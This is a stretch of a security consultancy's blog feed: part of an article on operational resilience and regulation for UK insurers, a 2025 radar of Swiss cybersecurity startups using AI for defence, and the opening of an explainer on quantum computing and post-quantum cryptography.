<p style="text-align: justify;">Informed by our extensive work with top UK and global insurance organisations, an indicative list of Core Services typically is:</p>
<table style="height: 712px; border-color: #6f1fde; width: 81.9712%; background-color: #ede4f5; border-style: solid;" width="81.9712%">
<tbody>
<tr style="height: 68px;">
<td style="height: 68px;" width="191">
<p><strong>Category</strong></p>
</td>
<td style="height: 68px;" width="417">
<p><strong>Key Services</strong></p>
</td>
</tr>
<tr style="height: 100px;">
<td style="height: 100px;" width="191">
<p>Policyholder Protection</p>
</td>
<td style="height: 100px;" width="417">
<p>Claims processing, policy issuance, renewals, cancellations</p>
</td>
</tr>
<tr style="height: 100px;">
<td style="height: 100px;" width="191">
<p>Financial Continuity</p>
</td>
<td style="height: 100px;" width="417">
<p>Premium collection, solvency monitoring, payment execution</p>
</td>
</tr>
<tr style="height: 100px;">
<td style="height: 100px;" width="191">
<p>Compliance</p>
</td>
<td style="height: 100px;" width="417">
<p>AML screening, sanctions checks, conduct and transaction reporting</p>
</td>
</tr>
<tr style="height: 100px;">
<td style="height: 100px;" width="191">
<p>Customer Engagement</p>
</td>
<td style="height: 100px;" width="417">
<p>Complaints handling, contact centre operations, digital portals</p>
</td>
</tr>
<tr style="height: 100px;">
<td style="height: 100px;" width="191">
<p>Underwriting &amp; Risk</p>
</td>
<td style="height: 100px;" width="417">
<p>Quoting, risk analysis, reinsurance placement and management</p>
</td>
</tr>
<tr style="height: 100px;">
<td style="height: 100px;" width="191">
<p>Third-Party Oversight</p>
</td>
<td style="height: 100px;" width="417">
<p>Broker relations, outsourced claims handling, vendor contracts</p>
</td>
</tr>
</tbody>
</table>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Further examination of trends in impact tolerance, detailing standard timeframes observed and strategic rationale for core services identified within MVC.</p>
<p style="text-align: justify;"><strong>Note:</strong> The following ranges are intended as guidance, reflecting our market study and regulatory advisory. Actual tolerances may vary based on factors such as the jurisdictions involved, the organization&#8217;s risk profile, and its financial capacity.</p>
<table style="height: 776px; border-style: solid; width: 84.4971%; border-color: #7b0aab; background-color: #ede4f5;" width="84.4971%">
<tbody>
<tr style="height: 68px;">
<td style="height: 68px;" width="200">
<p><strong>Service</strong></p>
</td>
<td style="height: 68px;" width="200">
<p><strong>Tolerance Range*</strong></p>
</td>
<td style="height: 68px;" width="200">
<p><strong>Strategic Rationale</strong></p>
</td>
</tr>
<tr style="height: 100px;">
<td style="height: 100px;" width="200">
<p>Claims Processing</p>
</td>
<td style="height: 100px;" width="200">
<p>4–6 hours</p>
</td>
<td style="height: 100px;" width="200">
<p>High customer sensitivity</p>
</td>
</tr>
<tr style="height: 100px;">
<td style="height: 100px;" width="200">
<p>AML/Sanctions Screening</p>
</td>
<td style="height: 100px;" width="200">
<p>Real-time to ≤1 hr</p>
</td>
<td style="height: 100px;" width="200">
<p>Regulatory zero tolerance</p>
</td>
</tr>
<tr style="height: 68px;">
<td style="height: 68px;" width="200">
<p>Premium Collection</p>
</td>
<td style="height: 68px;" width="200">
<p>1–2 business days</p>
</td>
<td style="height: 68px;" width="200">
<p>Financial viability risk</p>
</td>
</tr>
<tr style="height: 100px;">
<td style="height: 100px;" width="200">
<p>Contact Centre Operations</p>
</td>
<td style="height: 100px;" width="200">
<p>2–4 hours</p>
</td>
<td style="height: 100px;" width="200">
<p>Reputation and customer satisfaction</p>
</td>
</tr>
<tr style="height: 100px;">
<td style="height: 100px;" width="200">
<p>Policy Issuance</p>
</td>
<td style="height: 100px;" width="200">
<p>24–48 hours</p>
</td>
<td style="height: 100px;" width="200">
<p>Tiered based on product complexity</p>
</td>
</tr>
<tr style="height: 100px;">
<td style="height: 100px;" width="200">
<p>Reinsurance Placement</p>
</td>
<td style="height: 100px;" width="200">
<p>3–5 business days</p>
</td>
<td style="height: 100px;" width="200">
<p>Indirect impact on front-line policyholders</p>
</td>
</tr>
<tr style="height: 100px;">
<td style="height: 100px;" width="200">
<p>Broker Connectivity</p>
</td>
<td style="height: 100px;" width="200">
<p>1 business day</p>
</td>
<td style="height: 100px;" width="200">
<p>Continuity of sales and distribution</p>
</td>
</tr>
</tbody>
</table>
<p style="text-align: justify;"> </p>
<p> </p>
<h2><strong>Regulatory trends: 2025–2030 outlook</strong></h2>
<p style="text-align: justify;">As the insurance industry navigates evolving operational demands, it is equally crucial to anticipate the shifting regulatory landscape that will define the coming years. The following outlook highlights the major regulatory trends projected for 2025 through 2030, outlining key compliance requirements and anticipated changes that will shape the UK insurance sector’s risk management and reporting frameworks.</p>
<table style="border-style: solid; width: 89.7152%; border-color: #690aad; background-color: #ede4f5; height: 1047px;" width="632">
<tbody>
<tr>
<td width="108">
<p><strong>Timeframe</strong></p>
</td>
<td width="176">
<p><strong>Topic</strong></p>
</td>
<td width="211">
<p><strong>Expected Development</strong></p>
</td>
<td width="137">
<p><strong>Principal Regulator(s)</strong></p>
</td>
</tr>
<tr>
<td width="108">
<p>Q4 2025</p>
</td>
<td width="176">
<p>Financial Conduct Authority (FCA), Prudential Regulation Authority (PRA) Incident Reporting</p>
</td>
<td width="211">
<p>Real-time and layered disclosures mandated</p>
</td>
<td width="137">
<p>FCA, PRA</p>
</td>
</tr>
<tr>
<td width="108">
<p>2025-26</p>
</td>
<td width="176">
<p>UK Cyber Security and Resilience Bill</p>
</td>
<td width="211">
<p>Modernize the UK&#8217;s cyber security framework and strengthen regulations.</p>
</td>
<td width="137">
<p>Information Commissioner&#8217;s Office (ICO)</p>
</td>
</tr>
<tr>
<td width="108">
<p>2025–2027</p>
</td>
<td width="176">
<p>Critical Third-Party Oversight</p>
</td>
<td width="211">
<p>Prescriptive governance for cloud, data and service providers</p>
</td>
<td width="137">
<p>FCA, PRA</p>
</td>
</tr>
<tr>
<td width="108">
<p>2026</p>
</td>
<td width="176">
<p>PRA DyGIST Resilience Stress Testing</p>
</td>
<td width="211">
<p>Sector-wide stress testing for liquidity and capital</p>
</td>
<td width="137">
<p>PRA</p>
</td>
</tr>
<tr>
<td width="108">
<p>Q2 2025</p>
</td>
<td width="176">
<p>Climate Risk (SS3/19 update)</p>
</td>
<td width="211">
<p>Expanded stress testing and governance mandates</p>
</td>
<td width="137">
<p>PRA</p>
</td>
</tr>
<tr>
<td width="108">
<p>2025–2030</p>
</td>
<td width="176">
<p>Captive Regulation Reform</p>
</td>
<td width="211">
<p>Modernisation for UK-based captives under review</p>
</td>
<td width="137">
<p>PRA, FCA</p>
</td>
</tr>
</tbody>
</table>
<p style="text-align: justify;">It is important to recognise that as regulations in this area continue to develop, UK regulators such as the FCA and PRA are moving towards greater alignment with major European frameworks, including the EU Digital Operational Resilience Act (DORA) and the Network and Information Security (NIS) Directive.</p>
<p style="text-align: justify;">This alignment reflects a recognition of the interconnectedness of financial markets and critical services across borders, and the need for consistent, elevated standards of operational and cyber resilience.</p>
<p style="text-align: justify;">The FCA and PRA have issued consultations and guidance signalling their intent to integrate core DORA and NIS principles—such as enhanced third-party risk management, harmonised incident reporting obligations, and sector-wide resilience testing—into the UK’s regulatory regime. This convergence ensures that UK financial institutions, insurers, and service providers are prepared not only for domestic regulatory expectations but also for the demands of operating within a global and digitally integrated market.</p>
<p style="text-align: justify;"> </p>
<p> </p>
<h2><strong>Boardroom resilience checklist</strong></h2>
<p style="text-align: justify;">In light of these forthcoming regulatory changes and strategic reforms, it is essential for boardrooms to evaluate and reinforce their organisational resilience frameworks. The following checklist is designed to guide leadership teams in proactively assessing their preparedness, ensuring robust governance, and embedding resilience into core decision-making processes.</p>
<ul style="text-align: justify;">
<li><strong>MVC coverage:</strong> Is your Minimum Viable Company (MVC) clearly defined, mapped, and stress-tested across operations to maintain delivery of essential services</li>
<li><strong>Impact tolerance benchmarking:</strong> Have you validated realistic impact tolerances through scenario analysis, and benchmarked them against peer institutions and regulatory frameworks</li>
<li><strong>Third-Party risk visibility:</strong> Do you maintain real-time insight into key external dependencies, supported by contingency planning and contractual resilience provisions</li>
<li><strong>Integrated resilience functions:</strong> Are your operational resilience, cyber security, third-party risk, and enterprise risk teams aligned in strategy, decision-making, and board reporting to support a cohesive resilience posture</li>
<li><strong>Incident Response preparedness:</strong> Do you have robust mechanisms for multi-channel incident reporting (internal and external) and active regulator engagement, supported by rehearsed playbooks</li>
<li><strong>Cyber insurance alignment:</strong> Is your cyber insurance coverage tailored to your specific risk landscape, and tested against evolving threat scenarios across business-critical assets</li>
<li><strong>Board accountability:</strong> Have board members been trained in resilience and security oversight, and do they receive regular briefings from integrated risk functions to ensure informed governance</li>
<li><strong>Resilience culture:</strong> Is a resilience-aware culture embedded across the organization —from executive leadership to operational teams — fostering proactive risk ownership and continuous improvement</li>
<li><strong>Regulatory awareness &amp; horizon scanning</strong>: Are we tracking global and local regulatory developments (e.g. EU DORA, FCA SS1/21, SEC cyber rules), and ensuring readiness and board-level awareness of compliance obligations</li>
</ul>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">The UK insurance and reinsurance sector is well-capitalised, digitally evolving, and strategically positioned for growth. But resilience (operational, cyber, and third-party) remains the defining factor for long-term success. </p>
<p style="text-align: justify;">By thoughtfully harmonizing operational resilience strategies across function with leading global standards, organizations can elevate their industry standing and secure enduring stakeholder confidence. This proactive approach not only ensures compliance with a rapidly evolving regulatory landscape but also fortifies the ability to mitigate cross-border risks and respond decisively to unforeseen disruptions. In a world where digital threats and supply chain vulnerabilities transcend geographic boundaries, developing internationally recognised resilience is both a regulatory imperative and a cornerstone of successful, forward-looking business strategy.</p>
<p style="text-align: justify;">In conclusion, executives must embed robust, integrated resilience frameworks for sustained growth and stability. By cultivating a culture of proactive risk management and regulatory awareness, institutions can position themselves at the forefront of operational excellence, prepared not just to withstand challenges, but to transform them into opportunities for long-term success.</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-27046" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/Image3-1.png" alt="Key priorities organizations to consider within 2025-2030 Operational Resilience Strategies: Innovate and automation, from recovery to value creation, resilience culture, secure foundations" width="677" height="369" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/Image3-1.png 677w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/Image3-1-350x191.png 350w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/Image3-1-71x39.png 71w" sizes="auto, (max-width: 677px) 100vw, 677px" /></p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2025/09/resilience-by-design-strategic-imperatives-for-uk-general-reinsurance-insurers-2025-2030/">Resilience by design: strategic imperatives for UK General &amp; Reinsurance Insurers (2025 – 2030)</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2025/09/resilience-by-design-strategic-imperatives-for-uk-general-reinsurance-insurers-2025-2030/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Cybersecurity Startups Radar: 2025, AI at the service of cybersecurity</title>
		<link>https://www.riskinsight-wavestone.com/en/2025/06/cybersecurity-startups-radar-2025-ai-at-the-service-of-cybersecurity/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2025/06/cybersecurity-startups-radar-2025-ai-at-the-service-of-cybersecurity/#respond</comments>
		
		<dc:creator><![CDATA[Ahmed Amine Ghariani]]></dc:creator>
		<pubDate>Fri, 20 Jun 2025 14:17:53 +0000</pubDate>
				<category><![CDATA[Cyberrisk Management & Strategy]]></category>
		<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[artificial intelligence]]></category>
		<category><![CDATA[cybersecurity]]></category>
		<category><![CDATA[Cybersecurity startups radar]]></category>
		<category><![CDATA[IA]]></category>
		<category><![CDATA[radar 2025]]></category>
		<category><![CDATA[Swiss radar]]></category>
		<category><![CDATA[Switzerland]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=26402</guid>

					<description><![CDATA[<p>AI at the service of cybersecurity: a concrete step forward   Every year since 2020, Wavestone has identified Swiss cybersecurity startups in its eponymous radar. While AI has established itself as a cross-disciplinary subject in all fields, the 2025 Radar...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2025/06/cybersecurity-startups-radar-2025-ai-at-the-service-of-cybersecurity/">Cybersecurity Startups Radar: 2025, AI at the service of cybersecurity</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h2 style="text-align: justify;">AI at the service of cybersecurity: a concrete step forward</h2>
<p> </p>
<p style="text-align: justify;">Every year since 2020, Wavestone has identified Swiss cybersecurity startups in its eponymous radar. While AI has established itself as a cross-disciplinary subject in all fields, the 2025 Radar focuses on the <strong>use of artificial intelligence as a tool</strong>, not just as a subject to be secured, but as a <strong>technology at the very heart of the cyber response.</strong></p>
<p style="text-align: justify;">Several startups are using AI to automate, enhance or personalize their solutions:</p>
<p style="text-align: justify;"><strong>Egonym</strong> uses generative AI to anonymize faces in images and videos while preserving useful traits like age and emotion — striking a rare balance between privacy and utility.</p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-26393" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/06/Image16.jpg" alt="egonym logo" width="155" height="53" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/06/Image16.jpg 155w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/06/Image16-71x24.jpg 71w" sizes="auto, (max-width: 155px) 100vw, 155px" /></p>
<p style="text-align: justify;"><strong>Hafnova</strong> applies real-time AI to detect, block, and report threats across critical infrastructures with high responsiveness and minimal delay.</p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-26369" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/06/Image2.png" alt="Hafnova logo" width="67" height="71" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/06/Image2.png 67w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/06/Image2-37x39.png 37w" sizes="auto, (max-width: 67px) 100vw, 67px" /></p>
<p style="text-align: justify;"><strong>Aurigin</strong> combats deepfake-based fraud in real time using multimodal AI that simultaneously analyzes voice, image, and text to validate identities. </p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-26395" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/06/Image17.jpg" alt="aurigin.ai logo" width="176" height="51" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/06/Image17.jpg 176w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/06/Image17-71x21.jpg 71w" sizes="auto, (max-width: 176px) 100vw, 176px" /></p>
<p style="text-align: justify;"><strong>RedCarbon</strong> delivers autonomous AI agents capable of handling complex cybersecurity tasks such as threat detection, hunting, and compliance monitoring — significantly reducing analyst workload.</p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter wp-image-26375" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/06/Image6-e1750428148421.png" alt="REDCARBON logo" width="183" height="24" /></p>
<p style="text-align: justify;"><strong>Baited</strong> leverages AI and OSINT to generate hyper-realistic phishing simulations, enabling organizations to test and train employees under real-world conditions.</p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter wp-image-26373" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/06/Image5-e1750428603602.png" alt="baited logo" width="142" height="45" /></p>
<p style="text-align: justify;">It&#8217;s good to see AI becoming an essential defensive weapon contributing to the defense of our information systems.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Strong momentum around threat detection, response and monitoring</h2>
<p> </p>
<p style="text-align: justify;">The second strong trend this year is the emergence or reinforcement of startups specializing in <strong>intrusion detection, suspicious behavior detection, incident response</strong> and <strong>continuous supervision.</strong></p>
<p style="text-align: justify;">This segment, already well established historically, is undoubtedly gaining strength with several new entries:</p>
<p style="text-align: justify;"><strong>RedCarbon</strong>: AI agents for threat detection &amp; automated hunting.</p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter wp-image-26375" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/06/Image6-e1750428148421.png" alt="REDCARBON logo" width="175" height="23" /></p>
<p style="text-align: justify;"><strong>Swiss Security Hub</strong>: continuous monitoring of SAP systems with XDR integration.</p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter wp-image-26377" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/06/Image7-e1750428038244.png" alt="Security Hub logo" width="115" height="115" /></p>
<p style="text-align: justify;"><strong>Cyberservices</strong> : XDR platform based on the Google ecosystem.</p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter  wp-image-26379" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/06/Image8-e1750428222485.png" alt="Cyberservices logo" width="64" height="35" /></p>
<p style="text-align: justify;"><strong>Hafnova</strong>: real-time cyber supervision in critical sectors.</p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-26369" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/06/Image2.png" alt="Hafnova logo" width="67" height="71" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/06/Image2.png 67w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/06/Image2-37x39.png 37w" sizes="auto, (max-width: 67px) 100vw, 67px" /></p>
<p style="text-align: justify;"><strong>Tirreno</strong>: on-prem platform for online fraud detection with user trust scoring.</p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter  wp-image-26383" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/06/Image10-e1750428239189.png" alt="tirreno logo" width="131" height="29" /></p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">At a time when cyber-attacks continue to increase in number and complexity, <strong>preventive, contextualized and autonomous detection</strong> is and will remain key to strengthening operational resilience.</p>
<p style="text-align: justify;"><strong> </strong></p>
<h2 style="text-align: justify;">New ground explored: digital sovereignty and secure hardware</h2>
<p> </p>
<p style="text-align: justify;">Among the notable additions, <strong>The Cosmic Dolphins</strong> stands out with its sovereign hardware approach:</p>
<p style="text-align: justify;"><strong>The Cosmic Dolphins</strong>: Swiss smartphones with dual-zone OS (Shark Zone / Dolphin Zone), kill switch, and hardware-first approach to privacy.</p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-26385" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/06/Image11-e1750428264682.jpg" alt="The Cosmic Dolphins logo" width="99" height="99" /></p>
<p style="text-align: justify;">Swiss innovation isn&#8217;t limited to software: <strong>mastery of the physical infrastructure</strong> is becoming an issue of trust, sovereignty and differentiation.</p>
<p style="text-align: justify;"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-26387" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/06/Image12.jpg" alt="Cybersecurity Startups Radar: 2025, AI at the service of cybersecurity" width="602" height="338" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/06/Image12.jpg 602w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/06/Image12-340x191.jpg 340w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/06/Image12-69x39.jpg 69w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/06/Image12-600x338.jpg 600w" sizes="auto, (max-width: 602px) 100vw, 602px" /></p>
<h2 style="text-align: justify;">Key Figures</h2>
<h2 style="text-align: justify;" data-wp-editing="1"><img loading="lazy" decoding="async" class="aligncenter wp-image-26406 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/06/Image18-e1750429011414.png" alt="" width="200" height="39" /><br /><img loading="lazy" decoding="async" class="aligncenter wp-image-26408 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/06/Image19-e1750428988444.png" alt="" width="200" height="67" /></h2>
<p> </p>
<h2 style="text-align: justify;">Geographical focus: undisputed predominance of Lausanne and Zurich, but other regions are gaining ground</h2>
<p> </p>
<p style="text-align: justify;">Unsurprisingly, most startups are located around two main technological clusters: Zürich and Lausanne. This confirms an already existing trend since these two cities are hosting Swiss Federal institutes of technology (ETHZ in Zürich, EPFL in Lausanne).</p>
<p style="text-align: justify;">These universities are providing a fertile ground for startups as they offer support in terms of infrastructure but also in terms of collaboration with students and labs. In return, intellectual property is shared between startups and universities. This model is a success for Switzerland as it allows to continuously improve the economy of these regions with a good balance between investment and research.</p>
<p style="text-align: justify;">Nevertheless, other regions such as Geneva and Ticino are showing increasing dynamism, with several new startups emerging in this year’s edition. This points to a gradually diversifying ecosystem, supported by regional initiatives like innovation hubs and dedicated startup incubators.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Methodology</h2>
<p> </p>
<p style="text-align: justify;">Wavestone’s Swiss Cybersecurity Startups Radar identifies new players in the Swiss cyber innovation ecosystem. Its objective: to provide a global and critical view of an ever-renewing environment.</p>
<ul>
<li style="text-align: justify;">Startups were selected according to our eligibility criteria:</li>
<li style="text-align: justify;">Head office in Switzerland</li>
<li style="text-align: justify;">Less than 50 employees</li>
<li style="text-align: justify;">Less than 8 years of activity (established as of 2017)</li>
<li style="text-align: justify;">Business model around a specific product (software or hardware)</li>
<li style="text-align: justify;">Startups were identified and evaluated according to the following procedure:</li>
<li style="text-align: justify;">Open Source Intelligence (OSINT) data consolidation</li>
<li style="text-align: justify;">Evaluation in regard to above criteria</li>
<li style="text-align: justify;">Qualitative interviews with the startups</li>
</ul>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2025/06/cybersecurity-startups-radar-2025-ai-at-the-service-of-cybersecurity/">Cybersecurity Startups Radar: 2025, AI at the service of cybersecurity</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2025/06/cybersecurity-startups-radar-2025-ai-at-the-service-of-cybersecurity/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Quantum computing and post-quantum cryptography: what strategy should companies adopt to deal with these issues?</title>
		<link>https://www.riskinsight-wavestone.com/en/2025/03/quantum-computing-and-post-quantum-cryptography-how-to-deal-with-these-issues/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2025/03/quantum-computing-and-post-quantum-cryptography-how-to-deal-with-these-issues/#respond</comments>
		
		<dc:creator><![CDATA[Loïc NGOM]]></dc:creator>
		<pubDate>Mon, 17 Mar 2025 12:11:20 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Digital Identity]]></category>
		<category><![CDATA[cryptography]]></category>
		<category><![CDATA[post-quantum]]></category>
		<category><![CDATA[quantum computing]]></category>
		<category><![CDATA[risk management]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=25577</guid>

					<description><![CDATA[<p>What if your most sensitive data became accessible in an instant? The growing excitement about the advent of quantum computers is justified for a subject that is no longer science fiction but involves a new kind of threat. Indeed, according...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2025/03/quantum-computing-and-post-quantum-cryptography-how-to-deal-with-these-issues/">Quantum computing and post-quantum cryptography: what strategy should companies adopt to deal with these issues?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h3 style="text-align: justify;">What if your most sensitive data became accessible in an instant?</h3>
<p style="text-align: justify;">The growing excitement about the advent of quantum computers is justified for a subject that is no longer science fiction but involves a new kind of threat.</p>
<p style="text-align: justify;">Indeed, according to the predictions of numerous experts such as the <a href="https://globalriskinstitute.org/publication/2023-quantum-threat-timeline-report/">Global Risk Institute</a>, quantum computers should soon be capable of solving the mathematical problems underlying current cryptographic standards &#8211; which would consequently render obsolete the traditional systems protecting our communications, our finances and our critical infrastructures. </p>
<p style="text-align: justify;">For businesses, the urgent question is no longer whether this threat will become a reality, but when. How can we anticipate the operational and structural impact of this technological upheaval, while at the same time responding to the growing number of regulatory recommendations on the subject? What tools should be adopted to guarantee the confidentiality and integrity of data in the near future? It&#8217;s a major challenge, but solutions are being studied, such as post-quantum cryptography (PQC), which is already being widely adopted by the international community.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">The quantum threat</h2>
<p> </p>
<p style="text-align: justify;">Today, the security of information systems relies mainly on <strong>symmetric</strong> and <strong>asymmetric</strong> (or <strong>public</strong> <strong>key</strong>) cryptography and <strong>hash</strong> functions. These categories are represented by algorithms that are widely used today, in particular <strong>AES, RSA, ECC</strong> and <strong>SHA</strong> for <strong>hash</strong> functions. Massively adopted by the global community and natively integrated into many modern devices, these algorithms have proved their worth for decades in ensuring the confidentiality, authenticity and integrity of data exchanges.</p>
<p style="text-align: justify;">The mathematical problems on which these standards are based are <strong>sufficiently</strong> complex to ensure that even today&#8217;s best supercomputers have <strong>no brute-force</strong> capability.   </p>
<p style="text-align: justify;">The quantum computer is reshuffling the deck.</p>
<p style="text-align: justify;">These machines are based on <strong>physical</strong> principles that are fundamentally different from today&#8217;s classical computers. Thanks to the phenomena of <strong>superposition</strong> and <strong>entanglement</strong>, a quantum processor can process different physical states <strong>simultaneously</strong>. What is often described as ‘quantum parallelism’ does not correspond to simple classical parallel computing (where several cores execute identical tasks), but to the ability to explore <strong>multiple</strong> execution paths <strong>simultaneously</strong>. For some algorithms, this approach can considerably <strong>reduce</strong> the search space and <strong>speed up</strong> processing.</p>
<p style="text-align: justify;">A key question then arises<em>: are there already algorithms capable of exploiting these quantum properties, and thus of overcoming current encryption standards?</em></p>
<p style="text-align: justify;">In 1994, <strong>P. Shor</strong>, followed by <strong>L. Grover</strong> in 1996, introduced algorithms incorporating <strong>quantum computation</strong> processes to solve certain complex mathematical problems. The first <strong>allowed large numbers to be factored</strong> exponentially faster than a conventional algorithm, while the second optimised the <strong>search for an element</strong> in unordered sets. Until now, the characteristics of classical computers have made these algorithms impractical, but the emergence of quantum computers will radically change the situation, making them usable.</p>
<p style="text-align: justify;">Indeed, the best supercomputer would take <a href="https://www.eetimes.com/how-secure-is-aes-against-brute-force-attacks/?_ga">1.02 x 10¹⁸ years (one trillion years) to break <strong>AES-128</strong> by brute force</a> and <a href="https://www.digicert.com/faq/cryptography/what-is-ssl-cryptography"><strong>10¹⁰ years</strong> (10 billion years) for <strong>RSA-2048</strong></a> using today&#8217;s best methods. By comparison, a quantum computer running <strong>Grover&#8217;s algorithm</strong> could break AES-128 in <strong>600 years</strong>, while <strong>Shor&#8217;s algorithm</strong> would overcome RSA-2048 in just <strong>8 hours</strong> with a machine of 20 million qubits.</p>
<p style="text-align: justify;">Faced with this threat, <strong>AES</strong> and <strong>symmetric cryptography</strong>, as well as <a href="https://learning.quantum.ibm.com/course/practical-introduction-to-quantum-safe-cryptography/cryptographic-hash-functions"><strong>SHA-256</strong> and <strong>hash</strong> <strong>functions</strong></a>, remain viable by <strong>doubling</strong> the size of the keys used, but asymmetric cryptography needs to be rethought. With this in mind, <strong>post-quantum cryptography is emerging as the most promising solution.</strong></p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">What is post-quantum cryptography?</h2>
<p> </p>
<p style="text-align: justify;">According to the ANSSI, ‘post-quantum cryptography (PQC) is a set of classical cryptographic algorithms including <strong>key establishment</strong> and digital signatures, which provide conjectured security against the <strong>quantum</strong> threat in addition to their <strong>classical</strong> security’.</p>
<p style="text-align: justify;">This therefore refers to all the new <strong>asymmetric</strong> encryption algorithms capable of guaranteeing security against both <strong>traditional attacks</strong> and the new <strong>quantum</strong> attacks. The difference with those we use today lies essentially in the <strong>mathematical problems</strong> underlying the algorithms, chosen to remain complex to solve, even for a quantum computer.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">Why is this solution considered the most promising?</h3>
<p style="text-align: justify;">PQC is not the only response being considered to the quantum threat, but it is widely regarded as the most viable solution by the international community. Several factors explain this interest, including</p>
<p style="text-align: justify;">&#8211; <strong>Continuity with current systems</strong>, facilitating its adoption and gradual integration into conventional infrastructures.</p>
<p style="text-align: justify;">&#8211; <strong>Advanced maturity</strong>, with standards already established and supported by the main cybersecurity authorities.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">Continuity with current systems</h3>
<p style="text-align: justify;">How does this <em>classical</em> type of cryptography protect encrypted data against quantum attacks?</p>
<p style="text-align: justify;">PQC does not imply a paradigm shift in our approach to securing infrastructures. As mentioned earlier, PQC is part of the <em>family</em> of asymmetric cryptography and therefore retains the same operation and objective as current public key algorithms. Its resistance to quantum attacks is ensured by the <strong>nature</strong> of the underlying mathematical problems, which are different from those used in conventional asymmetric cryptography. This structural difference also means that cryptography can be integrated more seamlessly into today&#8217;s digital infrastructures, ensuring a gradual transition to a future in which PQC completely and effectively supplants modern encryption standards.</p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">Advanced maturity</h3>
<p style="text-align: justify;">The second major advantage of the PQC is its maturity compared with the other options considered. This year saw the <a href="https://www.nist.gov/news-events/news/2024/08/nist-releases-first-3-finalized-post-quantum-encryption-standards">publication of PQC standards by the<em> US National Institute of Standards and Technology</em></a> (NIST) in August 2024.</p>
<p style="text-align: justify;">This process began in 2017 with 69 initial candidates, 4 of whom were selected to become the new PQC standards. None of the other solutions put forward to counter the coming threat, including quantum cryptography (based on the use of quantum properties as opposed to PQC, which can be implemented on conventional computers), have been the subject of a standardisation process.</p>
